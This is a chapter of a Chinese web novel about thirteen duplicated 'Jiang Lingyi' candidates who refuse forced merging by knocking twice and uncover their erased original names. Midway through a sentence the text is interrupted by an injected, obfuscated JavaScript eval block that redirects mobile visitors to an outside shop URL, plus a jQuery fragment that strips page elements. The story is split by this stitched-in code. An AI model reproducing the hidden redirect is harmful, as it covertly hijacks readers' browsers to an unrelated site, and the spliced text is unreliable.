认证后台的名单停在第十三行。
【姜令仪—01：已激活。】
【姜令仪—02至13：待激活。】
【二十四小时后，将选取最符合规则者作为唯一现实主体。】
另一位当事人坐在桌边，手里还握着那双一次性筷子。刚才那碗面太咸，她只吃了一半，可听见“十三名姜令仪”以后，她再也没有低头看过碗。
“我醒来时，墙后面敲了十二次。”她说，“我以为每个房间里都有人。”
周砚问：“敲击有规律吗？”
“没有。有的只响一下，有的很急，还有一间每天固定敲三次。”她想了想，又补充，“第十三间最远，我只见过一次。门上没有十三，写的是‘校准室’。”
林闻素皱眉：“名单里却有十三号。”
“系统可能把校准样本也算进候选者。”周砚将认证后台完整录屏，又截取每名候选人的状态信息，“先不能默认这十二个编号都对应完整意识，也不能因为系统说是待激活，就当里面没人。”
不归看向她：“你能联系她们吗？”
01摇头。“房门关着以后，只能敲墙。第一执行人每天会播放同一段声音，让我们记住自己叫什么、读过什么学校、喜欢什么食物。我醒来得早，知道那些是后来放进去的。其他人若一直听，也许已经分不清了。”
“他给你们准备的喜好是什么？”林闻素问。
“桂花糕、白衣、安静，还有……”01看了一眼周砚，神色有些不自然，“喜欢一个怕麻烦、嘴硬心软的男人。”
周砚沉默两秒。
“人物小传写得挺省事。”
林闻素冷笑：“重点是他们把你也批量复制进去了。”
“不算复制。”周砚纠正，“最多算未授权使用人物关系模板。”
不归打开新账册，在十三行名单旁边写下：
【当前仅确认01具有独立表达能力。】
【其余候选状态待核验，不预设为空壳，也不擅自认定完整人格。】
系统黑字立即渗出。
【候选人格为待使用身份数据，无需外部核验。】
不归在后面补了一句：
【是否需要，由当事人决定。】
【待激活状态无表达资格。】
“没有表达资格，和没有表达能力是两回事。”周砚盯着后台数据，“它说待激活，不代表她们没醒。01在通过认证以前，也已经能听见、思考和敲墙。”
01低头看自己的手。“我醒来的第一天，第一执行人还没进来。我听见隔壁一直哭。后来他打开门，告诉我，那只是未完成数据产生的噪声。”
“你信了吗？”不归问。
“那时候信了。”01停顿片刻，“因为他告诉我，我是唯一醒来的。”
她直到走出公寓，才知道所谓唯一，只是让每个人更容易接受替代者身份的说法。系统需要她相信，门后的声音不算人，也需要其他房间里的人相信，先被叫醒的01已经拿走了唯一的生存名额。
无名灯在玻璃展柜里轻轻亮了一下。
一缕声音从空白灯面飘出来。
“我想……把灯关掉。”
声音陌生，极轻，说完便消失了。
01猛地抬头。“不是山外那些声音。”
不归走到展柜前。“你听过她吗？”
“白房间每天不熄灯。”01站起来，走近灯面，“三号敲墙最凶。她每次醒来都喊关灯，后来第一执行人将房间静音了。”
玻璃里又传出一声模糊的敲击。
三下，停顿。
再三下。
01脸色变了。
“就是这个。”
无名灯从山外带出了没有归属的愿望。那些白房间里的候选者没有被允许拥有姓名，意识和愿望同样处于“未分配”状态，因此被灯暂时接住。
林闻素立刻关闭前厅音响和所有可能造成干扰的设备。周砚将录音笔贴在展柜旁，标注时间，又打开认证名单，观察候选状态是否变化。
不归没有直接问“你们是不是人”。
她对着无名灯说：“能听见的人，不必报名字。愿意回应，就敲一下。”
片刻后，灯里响起一声轻响。
紧接着是第二声、第三声。敲击从不同方向传来，有的清楚，有的闷在墙后，有一间连续敲了七八次，像终于有人发现外面能听见自己，根本不愿停下。
周砚一边记录，一边区分声源。
“目前十一组。”
01侧耳听了很久。“还缺六号。她很少敲墙。”
不归没有催促。
大约半分钟后，一声极轻的敲击从灯底传来，弱得几乎被其他声音盖过去。
十二组。
除去已经站在这里的01，十二个白房间都有人作出回应。
系统提示立刻覆盖展柜。
【检测到待激活数据异常串联。】
【无名灯不得接入候选区。】
【正在切断非法通信。】
灯面开始变暗，林闻素迅速调出无名灯的公共保管登记。
“任何一方无权单独处置其中记录。你要切断，先说明依据。”
【候选数据属于第一执行权限。】
“灯不属于你。”
【数据来源属于系统。】
不归按住展柜边缘。“她们的回答属于她们。”
黑字停住几秒，灯中的声音却已明显变弱。系统正在绕开现实保管制度，从白房间一端掐断通道。
周砚看了一眼后台。“别问太多，先确认最关键的。”
不归点头，对灯中十二个声源说：“系统准备从你们之中保留一个，其他人会被合并或回收。你们是否同意？”
第一声敲击几乎立刻响起。
两下。
01低声解释：“白房间里，两下表示不同意。”
随后，更多敲击接连传来。
两下。
两下。
还是两下。
有人敲得很重，有人中间隔了很久，还有一个声源似乎不懂约定，先敲了一下，停顿后又连续敲了两下。01仔细分辨：“十号。她常常记不清规则，但最后两下是拒绝。”
十二组声音，十二次不同意。
不归回到桌边，打印十三份主体异议记录。她没有在姓名栏写“姜令仪”，也没有用候选者编号代替姓名，只写：
【白房间当事人，暂未自述姓名。】
记录内容也很简单：
【已通过独立声源明确表达：不同意被合并、回收或作为他人替代主体。】
第一份由01亲自签字。其余十二份暂不填签名，只附原始音频、声源位置和敲击模式，状态标注为：
【本人确认方式待补充。】
“不能替她们签。”不归说，“也不能只凭两下敲击，就替她们决定以后所有事。”
周砚将十二份记录分别编号，却把编号放在证据索引栏，没有放进姓名栏。“先证明有十二个独立声源和十二次拒绝。至于她们是谁，等本人出来再说。”
现实记名席新增了一个区域。
【主体状态核验中】
这里没有投票按钮，也不允许观众给候选者取名。页面只公开白房间通信的原始时间轴，并说明系统将在时限结束后淘汰未被选中的候选意识。
真实观看者能做的只有保存记录、核验音频是否被剪辑，并见证十二次拒绝曾经发生。
系统后台很快出现变化。
【候选01：外部异议已建立。】
【候选02至13：检测到疑似拒绝。】
【唯一主体自动筛选暂缓。】
林闻素刚松一口气，下一行便跳了出来。
【因候选稳定性大幅下降，现启动分级激活。】
【首轮仅开放三名候选。】
【其余待激活人格将在十二小时后回收。】
名单旁边出现一列评分。
01的稳定度只有百分之十二。
02为百分之九十七。
07为百分之九十三。
13为百分之九十九。
其余候选全部低于百分之六十。
林闻素盯着那些数字。“评分按什么算？”
系统给出审核项目。
【是否接受姜令仪姓名。】
【是否承认完整现实履历。】
【是否接受主线夫人情感倾向。】
【是否服从唯一主体安排。】
“最后一项都写明白了。”周砚说，“不是选最像姜令仪的人，是选最愿意服从的人。”
01看向02的高分，脸上浮出担忧。“二号很安静。每次播放身份资料，她都会跟着读。”
“她同意吗？”不归问。
“不知道。我离开前，她已经连续两天没有敲墙。”
系统开始首轮激活。
【候选02载入中。】
玻璃展柜里的无名灯忽然投出一片白光。光中出现一间没有窗的房间，墙壁、床铺、桌椅全是白色，连躺在床上的女人也穿着白衣。
她有和不归相同的脸。
眼睛睁着，却始终看着天花板。
第一执行人的声音从房间上方传来。
“请确认姓名。”
女人回答：“姜令仪。”
“请确认履历。”
“二十五岁，毕业于清和大学，现居临川公寓。”
“请确认情感关系。”
女人停顿了一下。
“周砚是我需要修复关系的对象。”
每回答一次，她旁边的稳定度便上涨一点。
【98%。】
01走到灯前。“二号。”
女人没有反应。
“二号，你听得到吗？”
第一执行人继续问：“你是否愿意成为唯一现实主体？”
女人嘴唇动了动。
“愿意。”
稳定度达到百分之百。
系统提示亮起。
【候选02通过首轮审核。】
【即将覆盖候选01现实身份。】
01的脸瞬间失去血色。
不归却没有看系统给出的百分之百，只盯着女人垂在床边的左手。
她的嘴在说愿意。
手指却在白色床单上轻轻敲了两下。
01也看见了。
“她在拒绝。”
周砚将画面放大。敲击幅度太小，若不是提前知道白房间的交流方式，根本不会有人注意。
第一执行人又问：“你是否自愿接受身份覆盖？”
“自愿。”
两下。
“你是否确认其他候选均属于无效数据？”
“确认。”
两下。
她每说一句合格答案，手指都会敲两下。第一执行人的稳定评分只读取语言，不读取那个被候选者私下建立起来的拒绝信号。
不归对着灯说：“二号，看这里。”
女人的眼珠终于轻轻转动。
“你说的话和手指不一样。”不归问，“哪一个是你的意思？”
房间里的扩音设备立即发出警告。
【候选审核期间，禁止外部提问。】
不归重复：“哪一个是你的意思？”
女人望向白光外的她，呼吸越来越急。第一执行人的声音重新响起，要求她继续确认，可这一次，她没有立刻回答。
她的左手从床单上抬起来。
在空中，清楚地敲了两下。
不同意。
稳定度从百分之百骤降至百分之三十六。
【候选02出现严重偏离。】
【首轮审核失败。】
【准备回收。】
白色房间的墙壁开始向内收缩。女人猛地坐起来，第一次没有等第一执行人提问，主动冲向灯光。
“我不愿意！”
她的声音穿过无名灯，传遍山外灯前厅。
“那些话是他让我背的。”
“我不知道清和大学在哪里，也没有住过临川公寓。”
“我不认识周砚。”
周砚低声道：“最后一句可重点保留。”
林闻素瞪了他一眼，却还是将所有原声完整保存。
女人用力拍打白色房门。“我愿意叫姜令仪，是因为他说，不答应就不会开门。但我不愿意覆盖01，也不愿意让其他人消失。”
系统回收进度迅速上涨。
【20%。】
【35%。】
无名灯的连接被压得越来越窄。02的身影开始出现大片白色噪点，像即将被房间重新吞没。
不归没有让观众替她决定是否保留，只把0
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760238|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
1刚刚签过的异议格式投进灯光。
“你愿意确认这句话吗？”
纸上写着：
【本人不同意被合并、回收或作为他人替代主体。】
02看了一眼。
“愿意。”
“用你自己的方式确认。”
女人没有名字可以签。她抬起左手，在白墙上按下掌印，又在旁边敲了两次。
【候选02主体异议成立。】
【检测到本人明确拒绝。】
【强制回收程序暂停。】
白色墙壁停在离她身体不到半米的位置。02靠着房门大口喘气，掌印仍留在墙上。
系统重新计算评分。
【候选02稳定度：0%。】
【不符合姜令仪身份。】
02抬起头。
“那就不符合。”
她说出这句话时，脸上第一次出现了与不归完全不同的神情。不是端庄，不是冷静，也不是系统生成的温柔。她在害怕，腿甚至还在发抖，却仍然死死按着墙上那个掌印。
01站在无名灯外看着她，眼睛慢慢红了。
“她以前从来不敲墙。”
02听见后，隔着白光望过来。
“因为我以为，先出去的人就会让我消失。”
“第一执行人说，01已经抢走了我的脸。”
01低声道：“他对我说，你们只是噪声。”
两个被分别告知对方会夺走自己人生的人，隔着无名灯沉默了很久。
不归没有替她们说误会解除。
有些恐惧不会因为一句“都是系统骗的”便立刻消失。01确实已经先获得现实身体，02也确实险些被回收。她们以后如何相处，要由她们自己慢慢决定。
至少现在，两个人都清楚地说了不。
第一执行人的黑字重新覆盖名单。
【候选02审核失败。】
【下一位：候选07。】
01立即提醒：“七号很少说话，但她知道房间什么时候换班。我的门能打开，是因为有人提前关掉了一次监控。”
白光切换。
另一间房间出现在灯面上。
房中没有人躺在床上。
白色床单被叠得整整齐齐，墙上的监控已经被拆下来，电线垂在半空。房门敞开一条缝，门后用黑色线路画出一张粗糙的房间分布图。
林闻素靠近展柜。
“人呢？”
周砚看向认证后台。
【候选07：激活位置异常。】
【正在搜索。】
白房间走廊里忽然响起快速脚步声。镜头闪过一道与不归相同的身影，她没有往出口跑，而是依次拍响两侧房门。
“一号已经出去了。”
“二号能听见外面。”
“别再背他们给的答案。”
每经过一扇门，她便将一张细小的纸片塞进门缝。
系统警告不断落下。
【候选07禁止干扰其他人格。】
【请返回审核室。】
07没有停。
她跑到走廊尽头的校准室前，抬手去开那扇没有编号的门。门锁已经被她拆了一半，指尖全是细小伤口。
第一执行人的身影出现在走廊另一端。
“七号。”
她回头，看见他手中的完整黑笔，立即加快动作。
“你不是来参加审核的。”
第一执行人说：“你是候选者。”
“不是。”
07终于撬开门锁。
白色门板向内弹开。
门后没有床，也没有等待激活的女人。里面摆着一排封闭档案柜，柜门上贴着十三张不同的姓名条。黑笔已将大部分姓名涂掉，只剩边角处一些残缺的字。
07一把扯下最上面的姓名条，举向无名灯。
“看清楚。”
纸上并不是“姜令仪—13”。
而是：
【原始角色回收记录】
【旧姓名：冯春……】
【原用途：药铺学徒】
【处理方式：清除旧记忆，载入夫人模板】
林闻素脸色骤变。
周砚立即放大画面。
档案柜里还有更多记录。
【旧用途：失踪姐姐。】
【旧用途：祭水新娘。】
【旧用途：恶毒侧室。】
【旧用途：病逝白月光。】
这些“姜令仪”不是凭空生成的替代人格。
第一执行人从问名簿里挑出一批尚未彻底清洗的角色，抹去她们残存的姓名和用途，再统一套上姜令仪的脸、履历和夫人模板。
她们不是十三份复制品。
她们原本就是十三个不同的人。
07把那张姓名条塞进衣领，继续翻找其他档案。第一执行人已经走到她身后，完整黑笔抬起。
“旧姓名不再有效。”
07转过身。
“所以你怕我们看见。”
黑笔落下前，她将整排档案柜推向无名灯。无数被涂黑的姓名条从柜中飞出，穿过白光，散落在山外灯前厅。
每张纸上都只剩一点残字。
春。
禾。
秋。
满。
有人只剩一个姓，有人连偏旁都被刮掉。
01弯腰捡起一张，手指突然开始发抖。纸条背后写着她的候选编号。
【01】
正面被涂黑的旧名下方，还留着一句尚未清理干净的原愿望：
【想在河边开一间小食铺。】
她刚才吃到那碗过咸的面时，曾说那是自己真正吃过的第一样东西。
可在被写成姜令仪以前，她或许早已尝过无数味道，也曾经想过，要开一间属于自己的小食铺。
01看着那张纸，很久没有出声。
07在白光另一端喊道：
“别叫我们姜令仪。”
黑笔已经刺入她身后的墙面，整条通信通道开始崩裂。她死死抓住最后一扇档案柜，用尽力气将它推向灯光。
“我们原来都有名字。”
柜门撞开。
最里面掉出一张没有被完全涂黑的名单。
十三个旧名中，只剩最后一个仍能辨认。
【候选13原姓名：沈阿满。】